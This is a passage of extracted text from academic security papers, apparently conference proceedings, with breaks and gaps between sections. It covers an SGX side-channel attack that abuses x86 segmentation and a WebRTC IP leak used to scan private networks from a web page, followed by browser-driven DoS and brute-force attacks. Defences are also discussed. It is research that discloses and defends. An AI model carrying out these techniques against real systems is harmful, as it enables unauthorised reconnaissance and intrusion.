executed, after which two situations can be distinguished:
1. No fault is observed, which indicates that the vote was for candidate A.
Control is successfully passed to the handler for that candidate, which is
located within the segment.
2. A second general protection fault is observed. This indicates that the vote was
for candidate B, as only a call to this function crosses the segment boundary.
Off-Limits: Abusing Legacy x86 Memory Segmentation 51
Table 1. Segmentation plus paging configurations and whether they generate a General
Protection fault (#GP) or Page Fault (#PF).
eip ≤ limit page access rights (eip + inst size) ≤ limit Fault type
✗ - - #GP1
✓ ✓ ✗ #GP2
✓ ✗ - #PF
Fig. 4. Fault sequence attack to infer instruction size (three vs. two bytes).
To infer instruction sizes, we retake the idea of having two layers of informa-
tion: the segmentation and the paging unit. An intuitive approach would be to
take the segment limit at the start of an instruction, while revoking the access
rights to the underlying page. Surely, this leads to a first general protection
fault, as the instruction falls outside of the segment. In consecutive steps, we
may gradually increase the segment limit with a single byte, until we observe a
page fault. This would imply that the whole instruction is now within the seg-
ment, thus also revealing the instruction size. However, as explained above, the
x86 segmentation and paging units work in parallel at the hardware level. We
experimentally confirmed that including the first byte of an instruction into the
segment is enough to activate the paging unit. As a result, as long as the under-
lying page access rights are revoked, a page fault will be reported regardless of
instruction size.
Our practical attack therefore combines information leakage from both the
paging and segmentation units. Figure 4 illustrates how an attacker can distin-
guish an exemplary three-byte instruction from a two-byte one. Initially, after
interrupting the enclave before the instruction of interest, we set the code seg-
ment limit to include two bytes of the instruction about to be executed, and
assign read/write/execute permissions to the underlying page. Next, the enclave
is continued through the ERESUME instruction, and we observe a general protec-
tion fault #GP1 or #GP2 , depending on whether the code segment limit vio-
lation was caused by either the current or the next instruction.1 At this point,
however, the attacker has no way of distinguishing #GP1 and #GP2 , as both
show up as identical general protection faults raised by the segmentation unit.
To overcome this challenge, we introduce the notion of fault sequence attacks
as a novel generalization of the page fault sequences originally presented by Xu
et al. [27]. That is, before resuming the victim enclave a second time, we configure
the code segment limit to include the first byte of the instruction of interest and
revoke access rights to the underlying page. According to Table 1, we now only
observe a #GP when the secret in-enclave instruction pointer falls outside of
the code segment. In case the enclaved instruction was larger than two bytes, on
the other hand, the instruction pointer was not incremented and a #PF will be
1
Note that we assume here that the next instruction is located immediately after
the current one in memory. We explain in the next section how segmentation-based
attacks can infer secret target addresses in case of jump instructions.
Off-Limits: Abusing Legacy x86 Memory Segmentation 53
Fig. 5. Using byte-granular segment limits, we can infer very precise control flow.
observed since the first byte of the instruction is included in the code segment.
As such, our approach observes the combined sequence of general protection and
page faults to infer the secret in-enclave instruction pointer.
– General protection fault is issued: This implies that the instruction must
be located past the limits of the code segment. Hence, the enclave attempted
54 J. Gyselinck et al.
to execute the nop instruction on line 5. This could only occur when secret
was true and the cmp instruction cleared the equal flag.
– Page fault is issued: This is similar to non-branching instructions that
are located on a non-executable page within the code segment. Conditional
jump instructions will also lead to a #PF when they are located within the
code segment, even when their target points outside the code segment. Hence,
we can derive that the je instruction attempts to continue execution at its
specified target. This implies that the cmp instruction cleared the equal flag,
and thus secret was false.
The above mechanism only works when targeting forward jump instructions.
With backward jumps, execution will branch within the segment and another
approach is required. We discuss this in more detail in the following section.
2
The cmove instruction packs a condition and move into a single instruction. The
move is only performed when the equal flag in the processor’s status register is set.
Off-Limits: Abusing Legacy x86 Memory Segmentation 55
Fig. 6. Example code snippet [15] protected by Zigzagger. The secret branch address
in edx is obfuscated with cmov and a tight jmp trampoline sequence.
dependent jump in zz4. As the Zigzagger trampoline is located above the instru-
mented code in memory, we can achieve this by lowering the code segment limit
to exclude zz4 (limit A in Fig. 6). Once page access rights have been restored,
the enclave is resumed, after which a general protection fault is observed when
execution reaches zz4. At this point a secret dependent jump is about to be
made. Note that with segmentation alone, determining which branch will be
taken is not possible, as lowering the segment limit to exclude any of the two
secret dependent branches also excludes the jump instruction. This is where we
require a secondary framework. By using SGX-Step’s precise interrupt capabili-
ties we can make sure that if we reset the segment limit and resume the enclave,
at most one instruction is executed. The interrupt can also arrive early, however,
after which a zero-step is taken meaning no enclaved instructions are executed.
Because of this, the attacker should verify on the next interrupt whether the
jump in zz4 has executed. To do this, we revoke access rights to the page on
which the Zigzagger code is located, as well as lowering the segment limit to
exclude zz4 (limit A in Fig. 6). Next, two types of faults can occur:
– #PF: The current instruction is within the segment, as we can pass the
segmentation stage. A page fault occurs because the access rights for the
underlying page have been revoked.
– #GP: zz4 is still being executed, the indirect branch instruction is outside of
the code segment, causing a general protection fault. This indicates that the
interrupt arrived too early, causing a zero-step. In this case, we can simply
retry the single-stepping process above.
Once it has been established that the jump has been executed, we can execute
a final test to see which one of the branches has been jumped to. We keep
page access rights revoked, but lower the segment limit to now also exclude all
Zigzagger code from b2 on (limit B in Fig. 6). When the enclave is resumed,
again two types of faults may occur, following the same pattern as above:
56 J. Gyselinck et al.
whenever any of the segment limits fall within ELRANGE. While this effectively
prevents all attack variants #1 to #3, we confirmed that the current solution still
leaves (limited) segmentation-based attack surface. That is, an adversary can still
detect the use of a particular segment by setting the segment limit to exclude
the enclave base address, and observing a general protection fault whenever the
segment is accessed during the enclaved execution. Since %CS/DS are always ref-
erenced on enclave entry, and %FS/GS are loaded from a trusted in-enclave data
structure, only the use of %SS/ES can be established in this manner.
We had to fall back to manual testing to identify vulnerable microcode ver-
sions. Our results are summarized in Appendix A. As a crucial observation,
however, we found that the relevant microcode updates do not increase the
CPU Security Version Number (CPUSVN), which reflects the processor’s TCB
measurement for local and remote enclave attestations [1]. Importantly, since
SGX’s attacker model assumes a potentially malicious kernel, microcode revi-
sions that do not increase CPUSVN can be silently rolled back without alerting
the victim enclave or remote stakeholder. Only the very recent Spectre [3,13]
microcode patches increase CPUSVN and adequately prevent our attacks. Our
findings therefore provide additional evidence that (32-bit) enclave attestations
with a pre-Spectre CPUSVN should be considered untrustworthy.
6 Conclusion
Recent research on Intel SGX side-channel attacks has focused on the paging
unit, caches and branch target buffer. In this paper we have looked into a previ-
ously unexplored hardware component: the segmentation unit. We found that for
32-bit enclaves, segmentation-based attacks may reveal security sensitive infor-
mation. By combining microarchitectural behavior originating from the interplay
between the IA-32 segmentation and paging unit, our generalized notion of fault
sequence attacks can infer very detailed information. When a 32-bit enclave uses
the first 1 MiB of its address space, fine-grained control flow plus instruction
sizes can be leaked to an attacker. We furthermore showed how segmentation-
based attacks additionally reveal memory accesses past the 1 MiB boundary at
a conventional page-level granularity.
We found that Intel has silently patched segmentation-based enclave attack
surface, but without updating the CPUSVN number. This implies that kernel-
level attackers are able to rollback the microcode revisions unnoticed, until
SGX remote attestation schemes reject attestation reports of processors with old
microcode revisions. Only with the very recent microcode patches that address
the Spectre attacks, will the CPUSVN number be increased and exploitation of
the segmentation unit be adequately prevented.
vulnerabilities, we have made the full source code of our segmentation attack
framework, 32-bit SGX-Step port, and SGX SDK runtime modifications publicly
available.3
References
1. Anati, I., Gueron, S., Johnson, S., Scarlata, V.: Innovative technology for CPU
based attestation and sealing. In: Proceedings of the 2nd International Workshop
on Hardware and Architectural Support for Security and Privacy, vol. 13. ACM,
New York (2013)
2. Brasser, F., Müller, U., Dmitrienko, A., Kostiainen, K., Capkun, S., Sadeghi, A.-
R.: Software grand exposure: SGX cache attacks are practical. In: 11th USENIX
Workshop on Offensive Technologies (WOOT 2017). USENIX Association, Van-
couver (2017)
3. Chen, G., Chen, S., Xiao, Y., Zhang, Y., Lin, Z., Lai, T.H.: SgxPectre attacks:
leaking enclave secrets via speculative execution. arXiv preprint arXiv:1802.09085
(2018)
4. Chen, G., Wang, W., Chen, T., Chen, S., Zhang, Y., Wang, X., Lai, T.-H., Lin, D.:
Racing in hyperspace: closing hyper-threading side channels on SGX with contrived
data races. In: 2018 IEEE Symposium on Security and Privacy (SP). IEEE (2018)
5. Chen, S., Zhang, X., Reiter, M.K., Zhang, Y.: Detecting privileged side-channel
attacks in shielded execution with déjà vu. In: Proceedings of the 2017 Asia Confer-
ence on Computer and Communications Security, Asia CCS 2017, pp. 7–18. ACM
(2017)
3
https://distrinet.cs.kuleuven.be/software/off-limits/.
Off-Limits: Abusing Legacy x86 Memory Segmentation 59
6. Costan, V., Devadas, S.: Intel SGX explained. IACR Cryptology ePrint Archive,
2016:86 (2016)
7. Costan, V., Lebedev, I., Devadas, S.: Sanctum: minimal hardware extensions for
strong software isolation. In: 25th USENIX Security Symposium (USENIX Security
2016), pp. 857–874. USENIX Association, Austin (2016)
8. Evtyushkin, D., Elwell, J., Ozsoy, M., Ponomarev, D., Ghazaleh, N.A., Riley, R.:
Iso-X: a flexible architecture for hardware-managed isolated execution. In: 2014
47th Annual IEEE/ACM International Symposium on Microarchitecture, pp. 190–
202, December 2014
9. Ferraiuolo, A., Baumann, A., Hawblitzel, C., Parno, B.: Komodo: using verification
to disentangle secure-enclave hardware from software. In: Proceedings of the 26th
Symposium on Operating Systems Principles. ACM (2017)
10. Götzfried, J., Eckert, M., Schinzel, S., Müller, T.: Cache attacks on Intel SGX. In:
Proceedings of the 10th European Workshop on Systems Security (EuroSec 2017)
(2017)
11. Intel Corporation: IntelR 64 and IA-32 Architectures Software Developer’s Manual
(2017)
12. Intel Corporation: Intel R Software Guard Extensions Programming Reference
(2017)
13. Kocher, P., Genkin, D., Gruss, D., Haas, W., Hamburg, M., Lipp, M., Mangard,
S., Prescher, T., Schwarz, M., Yarom, Y.: Spectre attacks: exploiting speculative
execution. ArXiv e-prints, January 2018
14. Lee, J., Jang, J., Jang, Y., Kwak, N., Choi, Y., Choi, C., Kim, T., Peinado, M.,
Kang, B.B.: Hacking in darkness: return-oriented programming against secure
enclaves. In: 26th USENIX Security Symposium (USENIX Security 2017), pp.
523–539. USENIX Association (2017)
15. Lee, S., Shih, M.-W., Gera, P., Kim, T., Kim, H., Peinado, M.: Inferring fine-
grained control flow inside SGX enclaves with branch shadowing. In: 26th USENIX
Security Symposium (USENIX Security 2017), pp. 557–574. USENIX Association,
Vancouver (2017)
16. Maene, P., Gotzfried, J., De Clercq, R., Muller, T., Freiling, F., Verbauwhede,
I.: Hardware-based trusted computing architectures for isolation and attestation.
IEEE Trans. Comput. (2017)
17. McKeen, F., Alexandrovich, I., Berenzon, A., Rozas, C.V., Shafi, H., Shanbhogue,
V., Savagaonkar, U.R.: Innovative instructions and software model for isolated
execution. In: Proceedings of the 2nd International Workshop on Hardware and
Architectural Support for Security and Privacy, HASP 2013, p. 10:1. ACM, New
York (2013). https://doi.org/10.1145/2487726.2488368
18. Schwarz, M., Weiser, S., Gruss, D., Maurice, C., Mangard, S.: Malware guard
extension: using SGX to conceal cache attacks. In: Polychronakis, M., Meier, M.
(eds.) DIMVA 2017. LNCS, vol. 10327, pp. 3–24. Springer, Cham (2017). https://
doi.org/10.1007/978-3-319-60876-1 1
19. Seo, J., Lee, B., Kim, S., Shih, M.-W., Shin, I., Han, D., Kim, T.: SGX-shield:
enabling address space layout randomization for SGX programs. In: Proceedings
of the 2017 Annual Network and Distributed System Security Symposium (NDSS),
San Diego, CA (2017)
20. Shih, M.-W., Lee, S., Kim, T., Peinado, M.: T-SGX: eradicating controlled-channel
attacks against enclave programs. In: 24th Annual Network and Distributed System
Security Symposium (NDSS) (2017)
60 J. Gyselinck et al.
21. Shinde, S., Chua, Z.L., Narayanan, V., Saxena, P.: Preventing page faults from
telling your secrets. In: Proceedings of the 11th ACM on Asia Conference on Com-
puter and Communications Security (ASIA CCS), pp. 317–328. ACM (2016)
22. Strackx, R., Noorman, J., Verbauwhede, I., Preneel, B., Piessens, F.: Protected
software module architectures. In: Reimer, H., Pohlmann, N., Schneider, W. (eds.)
ISSE 2013 Securing Electronic Business Processes, pp. 241–251. Springer, Wies-
baden (2013). https://doi.org/10.1007/978-3-658-03371-2 21
23. Strackx, R., Piessens, F.: The Heisenberg defense: proactively defending
SGX enclaves against page-table-based side-channel attacks. arXiv preprint
arXiv:1712.08519, December 2017
24. Van Bulck, J., Piessens, F., Strackx, R.: SGX-step: a practical attack framework for
precise enclave execution control. In: Proceedings of the 2nd Workshop on System
Software for Trusted Execution, SysTEX 2017, pp. 4:1–4:6. ACM (2017)
25. Van Bulck, J., Weichbrodt, N., Kapitza, R., Piessens, F., Strackx, R.: Telling your
secrets without page faults: stealthy page table-based attacks on enclaved execu-
tion. In: Proceedings of the 26th USENIX Security Symposium. USENIX Associ-
ation (2017)
26. Wang, W., Chen, G., Pan, X., Zhang, Y., Wang, X., Bindschaedler, V., Tang,
H., Gunter, C.A.: Leaky cauldron on the dark land: understanding memory side-
channel hazards in SGX. In: Proceedings of the 2017 ACM SIGSAC Conference on
Computer and Communications Security, CCS 2017, pp. 2421–2434. ACM, New
York (2017)
27. Xu, Y., Cui, W., Peinado, M.: Controlled-channel attacks: deterministic side chan-
nels for untrusted operating systems. In: 2015 IEEE Symposium on Security and
Privacy (SP), pp. 640–656. IEEE (2015)
One Leak Is Enough to Expose Them All
From a WebRTC IP Leak to Web-Based Network
Scanning
Abstract. WebRTC provides browsers and mobile apps with rich real-
time communications capabilities, without the need for further software
components. Recently, however, it has been shown that WebRTC can
be triggered to fingerprint a web visitor, which may compromise the
user’s privacy. We evaluate the feasibility of exploiting a WebRTC IP
leak to scan a user’s private network ports and IP addresses from out-
side their local network. We propose a web-based network scanner that
is both browser- and network-independent, and performs nearly as well
as system-based scanners. We experiment with various popular mobile
and desktop browsers on several platforms and show that adversaries not
only can exploit WebRTC to identify the real user identity behind a web
request, but also can retrieve sensitive information about the user’s net-
work infrastructure. We discuss the potential security and privacy conse-
quences of this issue and present a browser extension that we developed
to inform the user about the prospect of suspicious activities.
1 Introduction
Web browsers are amongst the most widely-used software applications to search
and explore the Internet. A web browser is not just a container for web pages, but
over the last few years it has been increasingly used for building cross-platform
and hybrid apps in handheld devices. As a consequence, this common gateway
to the Internet has been increasingly targeted by adversaries, and web-based
attacks are becoming increasingly common [1].
Although modern browsers incorporate various protection techniques to
achieve strong security [2], improvements in the features of these software appli-
cations may nevertheless compromise user privacy and introduce new security
vulnerabilities [3]. In particular, the advent of HTML5 and CSS3 not only enables
the construction of more diverse and powerful web sites and applications, but also
brings on more risks especially to personal web privacy. For instance, the Canvas
API enables the creation of animations and graphics in the web environment, but
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 61–76, 2018.
https://doi.org/10.1007/978-3-319-94496-8_5
62 M. Hazhirpasand and M. Ghafari
also facilitates the tracking of the user’s browser and operating system due to dif-
ferent image processing engine and fonts settings [4]. The Geolocation API pro-
vides the physical location of a user, thereby potentially compromising the user’s
privacy [5]. In general, HTML5 facilitates web browser fingerprinting wherein one
collects various pieces of information to distinguish a user from the general flow
of those who surf the Internet.
In this paper we focus on the risk posed by WebRTC, a set of HTML5
APIs that enable real-time communication over peer-to-peer connections, e.g.,
in-browser calling and video conferencing. Previous research has shown that
WebRTC leaks a web visitor’s real identity even behind a VPN [6]. We build on
the state of the art, and examine the extent to which this issue could jeopardize
the security and privacy of internal members of a network. We propose a web-
based network scanner that exploits the WebRTC IP leak to collect the network
information. Unlike existing Javascript scanners that are often imprecise due
to several assumptions about the network and browsers, our proposed scanner
is both browser- and network-independent. It employs a few heuristics such as
predicting a port status based upon the round-trip delay time, and reducing the
scan time by using a pop-up window, etc.
We conduct various experiments in a private network of 20 active nodes. The
network is running at 100 Mbp speed, and a FortiGate Unified Threat Manage-
ment (UTM) protects the network from outside threats. We assess the IP leak
in the latest versions of browsers such as Google Chrome, Mozilla Firefox, and
Opera, and in various desktop and mobile operating systems. We also compare
the performance of our web-based scanner with that of several system-based
scanners.
We found that except on iOS, major browsers like Firefox and Chrome are
subject to the WebRTC leakage issue regardless of the underlying operating
system. In our experiment, Safari on Mac, and Microsoft Edge on Windows
were the only browsers that support WebRTC but do not leak the IP address,
and iOS was the only operating system that did not suffer from this issue in
any of the tested browsers. Through our scanning approach we identified a great
number of active hosts and open ports in a test network. For instance, within
about 30 s we could scan a complete IP range and discover all active nodes, as
well flag those whose http ports were open. Once we identified active nodes,
within 23 s we could scan 7 open ports that disclose various network services
and running applications in this private network. We acknowledge that our web-
based scanner performs almost as fast and precisely as system-based scanners.
Consequently, WebRTC information leakage does not pose a threat only for
a web visitor but also all other members in her network, and we conclude that
the privacy risk imposed by WebRTC could be considered high. We developed a
browser extension that shields Google Chrome and Mozila FireFox against the
WebRTC IP leak without compromising its features and applications.
In the remainder of this paper, Sect. 2 presents some background and attack
vectors through which an adversary can exploit WebRTC IP leakage. Section 3
explains our web-based port scanning approach, followed by our experiment and
the obtained results in Sect. 4. Section 5 illustrates a few attacks that we could
One Leak Is Enough to Expose Them All 63
2 Background
Using WebRTC every connected device, whether it is a computer, tablet, televi-
sions, or smart gadget, can become a communication device without the instal-
lation of any third-party plug-ins. WebRTC is free, open source, and easy to
use, and as of this writing, most browsers on different platforms from a desktop
computer to a mobile device support WebRTC. Its broad adoption by many
applications such as Google Hangouts, Facebook Messenger, Whatsapp, and
Firefox Hello makes it hard for users to disable this feature [7]. Three HTML5
APIs, namely getusermedia, rtcpeerconnection, and rtcdatachannel, com-
prise the main part of WebRTC. To initiate a WebRTC application, browsers
will request the user to grant permission to use WebRTC, and otherwise, the
application would not run. This improves a user’s privacy to ensure that their
camera or microphone is not accessed from an untrusted web site.
Getting the private IP address of a website visitor used to be an arduous
task especially as long as an adversary does not have physical access to the
visitor’s network, and the visitor uses TOR-like browsers, or is behind a VPN
or an HTTP proxy. However, a web session in a WebRTC-powered browser
may disclose critical network information without notice to an adversary even
when the aforementioned privacy protection mechanisms are in place [8]. In
effect, WebRTC needs to find the best path between two nodes. When estab-
lishing a peer-to-peer connection between two nodes, the private IP address of
the user can be extracted with Javascript, from a Session Description Protocol
(SDP) object. Consequently, WebRTC information leakage allows an adversary
to silently identify the real IP address of a web visitor. This enables adversaries
to scan open ports on her computer, collect information about running services
and applications, and exploit a vulnerability in these programs to undertake an
attack.
The WebRTC leakage issue is very similar to a recent information leakage
discovered in Hotspot Shield, one of the most popular VPN providers with half
a billion users.1 First, they disclose some information regarding the network
interfaces of a user. Second, both VPNs and proxies fail to protect the real
IP address of the user. Third, the aforementioned information leaks without
requiring any user permission. On the other hand, WebRTC as a part of HTML5
runs on nearly all major browsers on different platforms, and its privacy and
security issues threaten a significantly large number of users in the globe.
There are at least three main attack vectors through which an adversary
can attack a web client, and retrieve information from the victim. A seemingly
legitimate but malicious website can include a malicious script in a web response
1
https://nvd.nist.gov/vuln/detail/CVE-2018-6460.
64 M. Hazhirpasand and M. Ghafari
to the client and wait for the results. In a man-in-the-middle attack, an adversary
secretly relays and possibly injects a script into the communication between two
parties, and collects the scan results. In a cross-site scripting attack, lack of
rigorous input validation allows an adversary to inject malicious scripts into
otherwise benign and trusted websites.
3 Port Scanning
This section explains our approach using WebRTC IP leakage issue to scan
private nodes within a network. It is developed in Javascript and is browser-
independent.
Once the script starts to execute, it checks whether a target browser supports
WebRTC or not. If not, some basic information such as the browser’s user agent
string, as well as the public IP address will be returned, and the execution process
will terminate. Otherwise, if the acquired IP falls within the ranges of private
IPv4 address spaces, we proceed with port scanning.
We adopt a scanning heuristic based on timing. Through several experiments
in different networks we learned that examining the round-trip delay time (RTT)
within a private network could be used to estimate the status of a node in the
network. We collected the elapsed time and the response message to various
connection requests in a network from the browser’s console. We observed that
the timing is pretty much the same in various browsers, yet depends on the
network latency, which is not known a priori. On the other hand, we observed
that within each network the timings fall into three time windows that we can
associate with open port, refused connection, and timeout. An open port indi-
cates that the node is active and has a running service on the queried port.
When a firewall refuses the connection or the port is closed, a connection refused
response is expected. This message implies that the queried node (i.e., the IP
address) exists in the network, whereas a timeout response means that there is
no such node in the network. Such messages only appear in the browser’s console
and, for security and privacy reasons, Javascript cannot access them. Neverthe-
less, we consistently observed that the response to a successful connection (i.e.,
open port) is received earlier than a refused connection, and always a timeout
is received much later than the other two. We therefore propose to cluster the
initial scanning results based on their timings to determine a reliable threshold
for the status of a request in a private network.
We applied a clustering heuristic that works as follows. First, we sort the
data points (i.e., scanning results) in ascending order, and store the result in
a set. Next, we compute the absolute distance between every two consecutive
data points, and store them in another set. The top three values in the latter
set present the three significant changes in the data. Therefore, the data points
in the first set whose indices correspond to the indices of the top three values in
the other set indicate the boundaries of the clusters, respectively.
The clustering heuristic is implemented in Javascript and runs only once on
the client side to automatically guide the scanning in each network. Alternatively,
One Leak Is Enough to Expose Them All 65
the timings can be plotted on the server side and the adversary can manually
set the proper boundary of each cluster.
We could therefore deduce the timing thresholds based on each cluster. For
instance, Table 1 shows the obtained clusters in a full range IP scan for http
ports within our test network. If the response time in our network is less than
500 ms, we assume the expected port is open. In case of a refused connection,
a response is expected in between 700 to 1400 ms. A response timeout usually
takes much longer (i.e., on average above 18 s).
Table 1. The time span thresholds in ms, computed only for our network
4 Experiment
In this section, we conducted an experiment to find the IP address of a website
visitor, and scanned nodes within the visitor’s network. The visitor’s network is a
test lab designed to evaluate the performance of our port scanner. We simulated
a malicious website by injecting a script (i.e., our scanner) into the comment
section of a website, so that when a visitor clicks on the “show comments”
button, the script will run on the visitor’s private network. We collected the
private network information of the website’s visitors in our experiment, and ran
a few attacks against the internal nodes in the network.
We further evaluated the generalizability of our network scanning approach
by carrying out another experiment in a wireless network with which we were
not familiar in advance.
4.1 Setup
Table 2 presents an overview of 20 active machines in our first experimental net-
work. We manually added Android and iOS devices to this network for exper-
imentation purposes. The whole network is protected by a FortiGate Unified
Threat Management (UTM) firewall with a default configuration. Five Win-
dows machines in the network are also protected by Kaspersky products, and
the remaining ones are equipped only with the default firewall installed on each
machine.
Samsung Internet, and Opera browsers. We performed two tests; in the first test
the scan goes from IP address 1 to 254 to identify active nodes in general, and in
particular to flag web servers in the victim’s private network. In the second test
we collect more information about the target network by scanning a broader
range of ports only on the active nodes that were identified in the previous
test. Generally, scanning the whole range of ports could be time-consuming and
users do not spend more than several minutes on a typical web page. Moreover,
adversaries usually look for ports that are often associated to particular software
systems that they can exploit. Therefore, it is common to scan only a number
of ports on a victim’s machine. Table 3 presents the list of ports that we scan in
each node in the second experiment. We selected these ports randomly from the
entire list of open ports in the network.
Port Description
3306 MySQL database system
1433 Microsoft SQL Server database management system (MSSQL) server
8080 Apache Tomcat
902 VMware ESXi
2221 WiFi FTP Server android application
445 Windows shares
80 Hypertext Transfer Protocol (HTTP)
In another experiment, we also ran the same two tests via a browser connected
to the wireless network. In both experiments we use our clustering heuristic
which automatically determines the status of a network request. We compare
our results with three popular IP/Port scanning software tools, namely Angry
IP Scanner4 , Advanced IP Scanner5 , and Advanced Port Scanner6 . We set http
port, banner grabber, and ping options in the first test. We repeat each test five
times to mitigate bias in the measured performance.
There exist a few security tools that employ WebRTC to get the internal
IP addresses of a victim’s network. For instance, a tool named BeEF (http://
beefproject.com) has a feature called “Get Internal IP Address”, however, our
experiment with this tool showed that it suffers from a large number of false
positives so that, in the interest of space, we do not discuss it in this paper.
4.2 Result
Table 4 presents a list of popular browsers that were examined for the WebRTC
private IP leak. We found that except on iOS, major browsers like Firefox and
4
http://angryip.org.
5
http://www.advanced-ip-scanner.com.
6
https://www.advanced-port-scanner.com.
68 M. Hazhirpasand and M. Ghafari
Chrome are subject to the WebRTC private IP leak regardless of the underlying
operating system. In our experiment, Safari on Mac, and Microsoft Edge on
Windows were the only browsers that support WebRTC but do not leak the IP
address, and iOS was the only operating system that did not suffer from this
issue in any of the tested browsers.
Further investigation is needed into the implementation of these browsers to
uncover the reason they do not leak the private IP address of a user.
Amongst 20 machines in the network, 14 had at least one open port. Table 5
presents the obtained results. The remaining six machines were not identified as
none of their open ports were listed in Table 3.
Table 5. The identified open ports w.r.t. the ports listed in Table 3
Open ports OS
1 80,443,3306 Windows
2 80,443,445,1433,3306 Windows
3 80,443,445,3306 Windows
4 80,443,445 Windows
5 445 Windows
6 902 Windows
7 80,443,445,3306 Windows
8 80,443,445 Windows
9 80,443,445 Windows
10 445 Windows
11 445 Windows
12 80,443 Linux (Ubuntu)
13 8080 Linux (Arch)
14 2221 Android
In the following, we briefly discuss the results obtained in the second experi-
ment within a wireless network. According to Fig. 3, the performance of scanners
in the first test is consistent with our findings in the previous experiment, though
the Angry IP Scanner has performed slightly better than before. We found the
One Leak Is Enough to Expose Them All 71
number of identified active nodes varies a bit as few clients connected or discon-
nected to the network during our experiment. In the second test we examined
the status of the ports in Table 3, and amongst 68 active nodes we found 17
nodes with open ports (see Fig. 4). It is worth mentioning that the scan com-
pletion in our web-based scanner took much longer than the second test in the
first experiment as there were about five times as many nodes, and we did not
employ any parallelism.
Therefore, the obtained results in our experiments confirm that our app-
roach for network scanning performs reliably and independent of the underlying
network.
network. In this section, we briefly mention a few attacks that we conducted, and
thereafter, we present our simple approach, implemented as a browser extension,
to protect against such attacks.
5.1 Attacks
We run a Denial of Service (DoS) attack against a web server in the network
through the browser of a legitimate client in the network. This is interesting
as security devices often underestimate the likelihood that such an attack may
happen from inside a network. We use a web worker in Javascript, running in the
background without interfering with the user interface, to flood the target web
server with many XHR requests. The attack can be turned into a Distributed
DoS attack if we can infect more browsers in the network.
Table 6 presents the maximum number of requests that we could send within
one minute from various browsers to the target web server, without impacting
the user experience and the browser responsiveness. We also measured the page
load before and at the time of the attack, and found that it increases by 20%
delay when running the attack.
Next, we run a brute-force attack to mine sensitive files and directories from
web servers. We selected 600 common paths, and measured the performance
when targeting one, three, and five web servers. We checked the availability of
a remote path via JSONP as it is able to establish GET requests without the
restriction of the same-origin policy. In particular, JSONP expects a response
only in JSON format, otherwise if the path exists it returns a parsererror
message, and if it does not exist it returns an error message. Table 7 presents
the obtained results.
Internal web applications often lack spam protection mechanism like Captcha
code for authentication. Therefore, we can brute-force the login page in such
applications. We speculated on the type of web applications installed on each
web server based on the identified paths. In one case where we could identify the
One Leak Is Enough to Expose Them All 73
6 Related Work
In this section we review related work that studies WebRTC from a security
and privacy standpoint. Recent research has highlighted the role of choosing the
right browser and VPN in order to avoid WebRTC leakage [6]. The author found
that TorGuard is the least privacy-compromising VPN service, while VyprVPN
and ExpressVPN failed to prevent WebRTC IP leaks. Similar to our findings,
he found Safari to be the most privacy-preserving browser. In a study of the top
one million sites on Alexa [9], the authors found WebRTC being used to discover
local IP addresses without user interaction on 715 sites, and mainly for tracking.
74 M. Hazhirpasand and M. Ghafari
7 Conclusion
We focus on exploiting the WebRTC IP leakage issue for collecting critical infor-
mation about a private network. In particular, we propose a web-based scanner
that leverages this IP leakage to infiltrate a private network, and to discover
active nodes and their open ports. The proposed scanner adopts a simple clus-
tering algorithm to bypass the restrictions of previous web-based scanners that
need to decide about the network latency a priory.
We compare our approach with state-of-the-art network scanners. Regard-
less of 59 ports that are banned from being scanned in Javascript, our web-based
scanner performs only slightly slower than the system-based scanners. We briefly
discuss several security implications of this issue, and introduce a browser exten-
sion that we developed for Chrome and Firefox for informing the user about such
dubious activities in these browsers.
Appendix
Table 8. The 59 ports that were banned for scanning via Javascript
References
1. Zhang, M., Lu, S., Xu, B.: An anomaly detection method based on multi-models
to detect web attacks. In: Computational Intelligence and Design, pp. 404–409,
December 2017
2. Rogowski, R., Morton, M., Li, F., Monrose, F., Snow, K.Z., Polychronakis, M.:
Revisiting browser security in the modern era: new data-only attacks and defenses.
In: Proceedings - 2nd IEEE European Symposium on Security and Privacy, EuroS
and P 2017, pp. 366–381 (2017)
3. Luangmaneerote, S., Zaluska, E., Carr, L.: Inhibiting browser fingerprinting and
tracking. In: Proceedings - 3rd IEEE International Conference on Big Data Secu-
rity on Cloud, BigDataSecurity 2017, 3rd IEEE International Conference on High
Performance and Smart Computing, HPSC 2017 and 2nd IEEE International Con-
ference on Intelligent Data and Securit, pp. 63–68 (2017)
4. Mowery, K., Shacham, H.: Pixel perfect: fingerprinting Canvas in HTML5. In: Web
2.0 Security & Privacy (W2SP), vol. 20, pp. 1–12 (2012)
5. Yoon, S., Jung, J., Kim, H.: Attacks on web browsers with HTML5. In: 2015
10th International Conference for Internet Technology and Secured Transactions,
ICITST 2015, pp. 193–197 (2016)
6. Al-Fannah, N.M.: One leak will sink a ship: WebRTC IP address leaks, pp. 1–12.
arXiv preprint arXiv:1709.05395 (2017)
7. Cox, J.H., Clark, R., Owen, H.: Leveraging SDN and WebRTC for rogue access
point security. IEEE Trans. Netw. Serv. Manag. 14(3), 756–770 (2017)
8. Alaca, F., van Oorschot, P.C.: Device fingerprinting for augmenting web authen-
tication. In: Proceedings of the 32nd Annual Conference on Computer Security
Applications - ACSAC 2016, pp. 289–301 (2016)
9. Englehardt, S., Narayanan, A.: Online tracking: a 1-million-site measurement and
analysis. In: Proceedings of the 2016 ACM SIGSAC Conference on Computer and
Communications Security - CCS 2016, no. 1, pp. 1388–1401 (2016)
10. Al-Fannah, N.M., Li, W.: Not all browsers are created equal: comparing web
browser fingerprintability. In: Obana, S., Chida, K. (eds.) IWSEC 2017. LNCS,
vol. 10418, pp. 105–120. Springer, Cham (2017). https://doi.org/10.1007/978-3-
319-64200-0 7
11. Reiter, A., Marsalek, A.: WebRTC: your privacy is at risk. In: Proceedings of the
Symposium on Applied Computing - SAC 2017, pp. 664–669 (2017, in Press)
PrivacyMeter: Designing and Developing
a Privacy-Preserving Browser Extension
1 Introduction
The modern web is home to many online services that request and handle sen-
sitive private information from their users. For example, most of the popular
websites require personal information to create an account, including one’s email
